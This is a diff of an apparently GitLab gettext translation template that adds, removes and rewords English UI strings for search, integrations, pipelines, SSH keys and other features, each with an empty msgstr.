@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
